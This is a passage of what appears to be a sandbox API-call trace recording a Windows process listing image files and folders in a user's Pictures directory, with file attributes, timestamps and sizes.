cAlternateFileName="OJMAKY~1.PNG")) returned 1 [0157.954] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d40f60, ftCreationTime.dwHighDateTime=0x1d4d1ab, ftLastAccessTime.dwLowDateTime=0xcf71c0e0, ftLastAccessTime.dwHighDateTime=0x1d4cf7c, ftLastWriteTime.dwLowDateTime=0xcf71c0e0, ftLastWriteTime.dwHighDateTime=0x1d4cf7c, nFileSizeHigh=0x0, nFileSizeLow=0x17894, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnIHgBm.png", cAlternateFileName="")) returned 1 [0157.955] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49604250, ftCreationTime.dwHighDateTime=0x1d4cc67, ftLastAccessTime.dwLowDateTime=0x305737b0, ftLastAccessTime.dwHighDateTime=0x1d4d08f, ftLastWriteTime.dwLowDateTime=0x305737b0, ftLastWriteTime.dwHighDateTime=0x1d4d08f, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ptY4pSuBN4XECBdjn.bmp", cAlternateFileName="PTY4PS~1.BMP")) returned 1 [0157.955] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7a6b0, ftCreationTime.dwHighDateTime=0x1d4d273, ftLastAccessTime.dwLowDateTime=0xcd252390, ftLastAccessTime.dwHighDateTime=0x1d4d373, ftLastWriteTime.dwLowDateTime=0xcd252390, ftLastWriteTime.dwHighDateTime=0x1d4d373, nFileSizeHigh=0x0, nFileSizeLow=0x3dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ry_7zI.png", cAlternateFileName="")) returned 1 [0157.955] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0157.955] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d4bd60, ftCreationTime.dwHighDateTime=0x1d4c74d, ftLastAccessTime.dwLowDateTime=0xd6fd69e0, ftLastAccessTime.dwHighDateTime=0x1d4c775, ftLastWriteTime.dwLowDateTime=0xd6fd69e0, ftLastWriteTime.dwHighDateTime=0x1d4c775, nFileSizeHigh=0x0, nFileSizeLow=0x6862, dwReserved0=0x0, dwReserved1=0x0, cFileName="TZ1SzNcS-gkL2O7NQLC.gif", cAlternateFileName="TZ1SZN~1.GIF")) returned 1 [0157.955] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd8b4260, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xb4200e0, ftLastAccessTime.dwHighDateTime=0x1d4cfcc, ftLastWriteTime.dwLowDateTime=0xb4200e0, ftLastWriteTime.dwHighDateTime=0x1d4cfcc, nFileSizeHigh=0x0, nFileSizeLow=0x3148, dwReserved0=0x0, dwReserved1=0x0, cFileName="U7t s8nV9Qw.jpg", cAlternateFileName="U7TS8N~1.JPG")) returned 1 [0157.955] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d84490, ftCreationTime.dwHighDateTime=0x1d4cf14, ftLastAccessTime.dwLowDateTime=0xfc81baa0, ftLastAccessTime.dwHighDateTime=0x1d4cc74, ftLastWriteTime.dwLowDateTime=0xfc81baa0, ftLastWriteTime.dwHighDateTime=0x1d4cc74, nFileSizeHigh=0x0, nFileSizeLow=0x1090d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ujo8uvYPTTgcKxh8thC.png", cAlternateFileName="UJO8UV~1.PNG")) returned 1 [0157.955] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8f2ceb0, ftCreationTime.dwHighDateTime=0x1d4d39f, ftLastAccessTime.dwLowDateTime=0xb1336ad0, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0xb1336ad0, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x14aa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTzc7b0 sow g.jpg", cAlternateFileName="UTZC7B~1.JPG")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1598680, ftCreationTime.dwHighDateTime=0x1d4d00d, ftLastAccessTime.dwLowDateTime=0x67b0d030, ftLastAccessTime.dwHighDateTime=0x1d4d2ed, ftLastWriteTime.dwLowDateTime=0x67b0d030, ftLastWriteTime.dwHighDateTime=0x1d4d2ed, nFileSizeHigh=0x0, nFileSizeLow=0x141bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="x7NKwrN80Q.jpg", cAlternateFileName="X7NKWR~1.JPG")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bec9140, ftCreationTime.dwHighDateTime=0x1d4cdd4, ftLastAccessTime.dwLowDateTime=0x3e7bba30, ftLastAccessTime.dwHighDateTime=0x1d4d064, ftLastWriteTime.dwLowDateTime=0x3e7bba30, ftLastWriteTime.dwHighDateTime=0x1d4d064, nFileSizeHigh=0x0, nFileSizeLow=0x2878, dwReserved0=0x0, dwReserved1=0x0, cFileName="XpYDC.gif", cAlternateFileName="")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9f99e0, ftCreationTime.dwHighDateTime=0x1d4cf77, ftLastAccessTime.dwLowDateTime=0x6cd06620, ftLastAccessTime.dwHighDateTime=0x1d4d013, ftLastWriteTime.dwLowDateTime=0x6cd06620, ftLastWriteTime.dwHighDateTime=0x1d4d013, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOrN7H8.jpg", cAlternateFileName="")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6432a130, ftCreationTime.dwHighDateTime=0x1d4cb32, ftLastAccessTime.dwLowDateTime=0x88ab35b0, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x88ab35b0, ftLastWriteTime.dwHighDateTime=0x1d4d18e, nFileSizeHigh=0x0, nFileSizeLow=0x67e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="z7pkCieK zTPKYo.bmp", cAlternateFileName="Z7PKCI~1.BMP")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb822d0, ftCreationTime.dwHighDateTime=0x1d4d2fd, ftLastAccessTime.dwLowDateTime=0xf43cf0, ftLastAccessTime.dwHighDateTime=0x1d4c704, ftLastWriteTime.dwLowDateTime=0xf43cf0, ftLastWriteTime.dwHighDateTime=0x1d4c704, nFileSizeHigh=0x0, nFileSizeLow=0x3ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZIAqz9g2fz.bmp", cAlternateFileName="ZIAQZ9~1.BMP")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4579a0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0x4cd132e0, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0x4cd132e0, ftLastWriteTime.dwHighDateTime=0x1d4cee8, nFileSizeHigh=0x0, nFileSizeLow=0x1544c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZkaNc1VKJiUX.gif", cAlternateFileName="ZKANC1~1.GIF")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bce5c10, ftCreationTime.dwHighDateTime=0x1d4c822, ftLastAccessTime.dwLowDateTime=0x6d4f25c0, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0x6d4f25c0, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0x140d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZyLSVlnM3W8p5P6Agc.gif", cAlternateFileName="ZYLSVL~1.GIF")) returned 1 [0157.956] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.956] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0157.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0157.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0157.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures", lpFilePart=0x0) returned 0x18 [0157.957] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x14544c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x14544c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.957] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x14544c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x14544c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2b0e00, ftCreationTime.dwHighDateTime=0x1d4c5c8, ftLastAccessTime.dwLowDateTime=0xedeb4d00, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xedeb4d00, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x17ded, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Bz_Z.jpg", cAlternateFileName="")) returned 1 [0158.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bea340, ftCreationTime.dwHighDateTime=0x1d4ce5c, ftLastAccessTime.dwLowDateTime=0xdd4225a0, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0xdd4225a0, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x1099c, dwReserved0=0x0, dwReserved1=0x0, cFileName="20qf0W39.png", cAlternateFileName="")) returned 1 [0158.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f0124f0, ftCreationTime.dwHighDateTime=0x1d4ca4a, ftLastAccessTime.dwLowDateTime=0x77dcea80, ftLastAccessTime.dwHighDateTime=0x1d4cb17, ftLastWriteTime.dwLowDateTime=0x77dcea80, ftLastWriteTime.dwHighDateTime=0x1d4cb17, nFileSizeHigh=0x0, nFileSizeLow=0x9e3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="26eTmdX7PXkDqUA.bmp", cAlternateFileName="26ETMD~1.BMP")) returned 1 [0158.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff4d3a0, ftCreationTime.dwHighDateTime=0x1d4ce6a, ftLastAccessTime.dwLowDateTime=0xf0ce4b40, ftLastAccessTime.dwHighDateTime=0x1d4d40a, ftLastWriteTime.dwLowDateTime=0xf0ce4b40, ftLastWriteTime.dwHighDateTime=0x1d4d40a, nFileSizeHigh=0x0, nFileSizeLow=0x2be5, dwReserved0=0x0, dwReserved1=0x0, cFileName="2eIrRgfiJT37RVl.jpg", cAlternateFileName="2EIRRG~1.JPG")) returned 1 [0158.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7d72080, ftCreationTime.dwHighDateTime=0x1d4d5ab, ftLastAccessTime.dwLowDateTime=0x8be50020, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0x8be50020, ftLastWriteTime.dwHighDateTime=0x1d4ccfd, nFileSizeHigh=0x0, nFileSizeLow=0xd2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="3DKcjATLX6s5dyeethZ.bmp", cAlternateFileName="3DKCJA~1.BMP")) returned 1 [0158.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2494a100, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xe387ecf0, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0xe387ecf0, ftLastWriteTime.dwHighDateTime=0x1d4d4a7, nFileSizeHigh=0x0, nFileSizeLow=0x1696, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Br56sTPsy.bmp", cAlternateFileName="4BR56S~1.BMP")) returned 1 [0158.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d42c2b0, ftCreationTime.dwHighDateTime=0x1d4d400, ftLastAccessTime.dwLowDateTime=0xbc8a9f90, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0xbc8a9f90, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x15dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="4KN8ex-.gif", cAlternateFileName="")) returned 1 [0158.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ceb8d20, ftCreationTime.dwHighDateTime=0x1d4d163, ftLastAccessTime.dwLowDateTime=0x174c15c0, ftLastAccessTime.dwHighDateTime=0x1d4d4ad, ftLastWriteTime.dwLowDateTime=0x174c15c0, ftLastWriteTime.dwHighDateTime=0x1d4d4ad, nFileSizeHigh=0x0, nFileSizeLow=0x5ffd, dwReserved0=0x0, dwReserved1=0x0, cFileName="8T0iO.gif", cAlternateFileName="")) returned 1 [0158.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d50e4d0, ftCreationTime.dwHighDateTime=0x1d4ca8f, ftLastAccessTime.dwLowDateTime=0x1ec7dab0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x1ec7dab0, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x16aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="abSNOzJyZ93JPN.jpg", cAlternateFileName="ABSNOZ~1.JPG")) returned 1 [0158.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0158.228] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972c4a20, ftCreationTime.dwHighDateTime=0x1d4cd10, ftLastAccessTime.dwLowDateTime=0x9dfab020, ftLastAccessTime.dwHighDateTime=0x1d4cbb8, ftLastWriteTime.dwLowDateTime=0x9dfab020, ftLastWriteTime.dwHighDateTime=0x1d4cbb8, nFileSizeHigh=0x0, nFileSizeLow=0xb798, dwReserved0=0x0, dwReserved1=0x0, cFileName="dathiPmNutSp3raxPROQ.bmp", cAlternateFileName="DATHIP~1.BMP")) returned 1 [0158.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c0dcc0, ftCreationTime.dwHighDateTime=0x1d4c9b8, ftLastAccessTime.dwLowDateTime=0x60ddfa00, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x60ddfa00, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x4ee5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eh4CzEyNQ.png", cAlternateFileName="EH4CZE~1.PNG")) returned 1 [0158.266] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0396840, ftCreationTime.dwHighDateTime=0x1d4c6a4, ftLastAccessTime.dwLowDateTime=0xf9eb7f20, ftLastAccessTime.dwHighDateTime=0x1d4cd13, ftLastWriteTime.dwLowDateTime=0xf9eb7f20, ftLastWriteTime.dwHighDateTime=0x1d4cd13, nFileSizeHigh=0x0, nFileSizeLow=0x12427, dwReserved0=0x0, dwReserved1=0x0, cFileName="eW3yg4W1N5.bmp", cAlternateFileName="EW3YG4~1.BMP")) returned 1 [0158.266] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9d50b0, ftCreationTime.dwHighDateTime=0x1d4c88e, ftLastAccessTime.dwLowDateTime=0xc6efa150, ftLastAccessTime.dwHighDateTime=0x1d4c98a, ftLastWriteTime.dwLowDateTime=0xc6efa150, ftLastWriteTime.dwHighDateTime=0x1d4c98a, nFileSizeHigh=0x0, nFileSizeLow=0xf97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="i7Sa.gif", cAlternateFileName="")) returned 1 [0158.266] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bebb30, ftCreationTime.dwHighDateTime=0x1d4cc22, ftLastAccessTime.dwLowDateTime=0x34ea46f0, ftLastAccessTime.dwHighDateTime=0x1d4d409, ftLastWriteTime.dwLowDateTime=0x34ea46f0, ftLastWriteTime.dwHighDateTime=0x1d4d409, nFileSizeHigh=0x0, nFileSizeLow=0x17c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ia6JOH8L.jpg", cAlternateFileName="")) returned 1 [0158.266] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a863440, ftCreationTime.dwHighDateTime=0x1d4c94b, ftLastAccessTime.dwLowDateTime=0x72164560, ftLastAccessTime.dwHighDateTime=0x1d4d463, ftLastWriteTime.dwLowDateTime=0x72164560, ftLastWriteTime.dwHighDateTime=0x1d4d463, nFileSizeHigh=0x0, nFileSizeLow=0x12112, dwReserved0=0x0, dwReserved1=0x0, cFileName="IacLi7x8ROnEgd.gif", cAlternateFileName="IACLI7~1.GIF")) returned 1 [0158.266] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d5e610, ftCreationTime.dwHighDateTime=0x1d4d5fe, ftLastAccessTime.dwLowDateTime=0x4180af30, ftLastAccessTime.dwHighDateTime=0x1d4cc66, ftLastWriteTime.dwLowDateTime=0x4180af30, ftLastWriteTime.dwHighDateTime=0x1d4cc66, nFileSizeHigh=0x0, nFileSizeLow=0x1106b, dwReserved0=0x0, dwReserved1=0x0, cFileName="j7MvXPd03ADui-UD4q5.jpg", cAlternateFileName="J7MVXP~1.JPG")) returned 1 [0158.267] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33f8890, ftCreationTime.dwHighDateTime=0x1d4cf6c, ftLastAccessTime.dwLowDateTime=0xb3cb21d0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0xb3cb21d0, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x1364d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KfSYCihKJOOjt.bmp", cAlternateFileName="KFSYCI~1.BMP")) returned 1 [0158.267] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14898f00, ftCreationTime.dwHighDateTime=0x1d4cffa, ftLastAccessTime.dwLowDateTime=0x34a44ee0, ftLastAccessTime.dwHighDateTime=0x1d4d56a, ftLastWriteTime.dwLowDateTime=0x34a44ee0, ftLastWriteTime.dwHighDateTime=0x1d4d56a, nFileSizeHigh=0x0, nFileSizeLow=0x28fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khra_HFoPPxHHBG.gif", cAlternateFileName="KHRA_H~1.GIF")) returned 1 [0158.267] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b03270, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0x6114f5a0, ftLastAccessTime.dwHighDateTime=0x1d4cab2, ftLastWriteTime.dwLowDateTime=0x6114f5a0, ftLastWriteTime.dwHighDateTime=0x1d4cab2, nFileSizeHigh=0x0, nFileSizeLow=0xf23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAO0wQVJAEYSkF20.bmp", cAlternateFileName="MAO0WQ~1.BMP")) returned 1 [0158.267] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8036c40, ftCreationTime.dwHighDateTime=0x1d4d330, ftLastAccessTime.dwLowDateTime=0x42fcfa0, ftLastAccessTime.dwHighDateTime=0x1d4d06a, ftLastWriteTime.dwLowDateTime=0x42fcfa0, ftLastWriteTime.dwHighDateTime=0x1d4d06a, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MkRTmO5L6.bmp", cAlternateFileName="MKRTMO~1.BMP")) returned 1 [0158.267] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb6810, ftCreationTime.dwHighDateTime=0x1d4d210, ftLastAccessTime.dwLowDateTime=0xe6bf0460, ftLastAccessTime.dwHighDateTime=0x1d4ce0a, ftLastWriteTime.dwLowDateTime=0xe6bf0460, ftLastWriteTime.dwHighDateTime=0x1d4ce0a, nFileSizeHigh=0x0, nFileSizeLow=0x14614, dwReserved0=0x0, dwReserved1=0x0, cFileName="moQOm0BbPIj39soo.gif", cAlternateFileName="MOQOM0~1.GIF")) returned 1 [0158.267] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f657c0, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0x70051540, ftLastAccessTime.dwHighDateTime=0x1d4ca76, ftLastWriteTime.dwLowDateTime=0x70051540, ftLastWriteTime.dwHighDateTime=0x1d4ca76, nFileSizeHigh=0x0, nFileSizeLow=0x3cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="NQcf.jpg", cAlternateFileName="")) returned 1 [0158.268] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d651660, ftCreationTime.dwHighDateTime=0x1d4cedf, ftLastAccessTime.dwLowDateTime=0x596c62f0, ftLastAccessTime.dwHighDateTime=0x1d4d202, ftLastWriteTime.dwLowDateTime=0x596c62f0, ftLastWriteTime.dwHighDateTime=0x1d4d202, nFileSizeHigh=0x0, nFileSizeLow=0x14754, dwReserved0=0x0, dwReserved1=0x0, cFileName="oe15HPldZxBF1rA_uldC.jpg", cAlternateFileName="OE15HP~1.JPG")) returned 1 [0158.268] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56983230, ftCreationTime.dwHighDateTime=0x1d4cc4d, ftLastAccessTime.dwLowDateTime=0x30161500, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x30161500, 